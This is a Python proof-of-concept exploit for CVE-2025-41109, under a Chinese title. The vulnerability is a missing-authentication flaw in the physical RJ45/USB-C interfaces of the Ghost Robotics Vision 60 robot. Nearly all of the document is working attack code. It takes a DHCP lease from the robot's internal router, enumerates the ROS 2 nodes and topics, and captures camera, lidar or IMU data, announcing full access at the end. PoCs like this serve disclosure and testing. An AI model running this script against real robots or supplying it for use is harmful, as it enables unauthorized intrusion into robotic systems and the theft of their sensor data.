CVE-2025-41109 Ghost Robotics Vision 60物理接口缺少认证漏洞

#!/usr/bin/env python3 """ CVE-2025-41109 - Ghost Robotics Vision 60 Physical Interface Authentication Bypass PoC This PoC demonstrates how an attacker can gain unauthorized access to the robot's internal network by connecting to the physical RJ45/USB-C interfaces and exploiting the lack of authentication on ROS 2. """ import subprocess import time import socket def get_robot_ip(): """Wait for DHCP to assign an IP from the robot's internal router""" print("[*] Connecting to robot's physical interface (RJ45/USB-C)...") print("[*] Waiting for DHCP lease from internal router...") time.sleep(5) # Refresh DHCP lease subprocess.run(['sudo', 'dhclient', '-r'], capture_output=True) subprocess.run(['sudo', 'dhclient'], capture_output=True) time.sleep(3) # Get assigned IP result = subprocess.run(['hostname', '-I'], capture_output=True, text=True) ip = result.stdout.strip().split()[0] print(f"[+] Got IP: {ip}") return ip def discover_ros2_nodes(): """Enumerate ROS 2 nodes on the robot's network""" print("[*] Discovering ROS 2 nodes...") try: result = subprocess.run( ['ros2', 'node', 'list'], capture_output=True, text=True, timeout=10 ) if result.returncode == 0: nodes = result.stdout.strip().split('\n') print(f"[+] Found {len(nodes)} ROS 2 nodes:") for node in nodes: print(f" - {node}") return nodes except Exception as e: print(f"[-] Error: {e}") return [] def enumerate_ros2_topics(): """List all ROS 2 topics to identify data streams""" print("[*] Enumerating ROS 2 topics...") try: result = subprocess.run( ['ros2', 'topic', 'list'], capture_output=True, text=True, timeout=10 ) if result.returncode == 0: topics = result.stdout.strip().split('\n') print(f"[+] Found {len(topics)} topics:") for topic in topics: print(f" - {topic}") return topics except Exception as e: print(f"[-] Error: {e}") return [] def sniff_sensor_data(topic='/camera/image_raw'): """Subscribe to a sensor topic to capture data""" print(f"[*] Subscribing to topic: {topic}") print("[!] No authentication required - ROS 2 default config") try: # Echo topic data (demonstrates unauthorized data access) result = subprocess.run( ['ros2', 'topic', 'echo', topic, '--once'], capture_output=True, text=True, timeout=10 ) if result.stdout: print(f"[+] Data captured from {topic}") print(f"[+] Preview: {result.stdout[:200]}...") except Exception as e: print(f"[-] Error: {e}") def main(): print("=" * 60) print("CVE-2025-41109 PoC") print("Ghost Robotics Vision 60 - Physical Interface Bypass") print("=" * 60) # Step 1: Get network access via physical interface ip = get_robot_ip() # Step 2: Discover ROS 2 nodes nodes = discover_ros2_nodes() # Step 3: Enumerate available topics topics = enumerate_ros2_topics() # Step 4: Sniff sensor data sensor_topics = [t for t in topics if 'image' in t.lower() or 'scan' in t.lower() or 'imu' in t.lower()] if sensor_topics: sniff_sensor_data(sensor_topics[0]) print("\n[!] Attack complete - full access to robot data achieved") print("[!] No credentials were required at any stage") if __name__ == '__main__': main()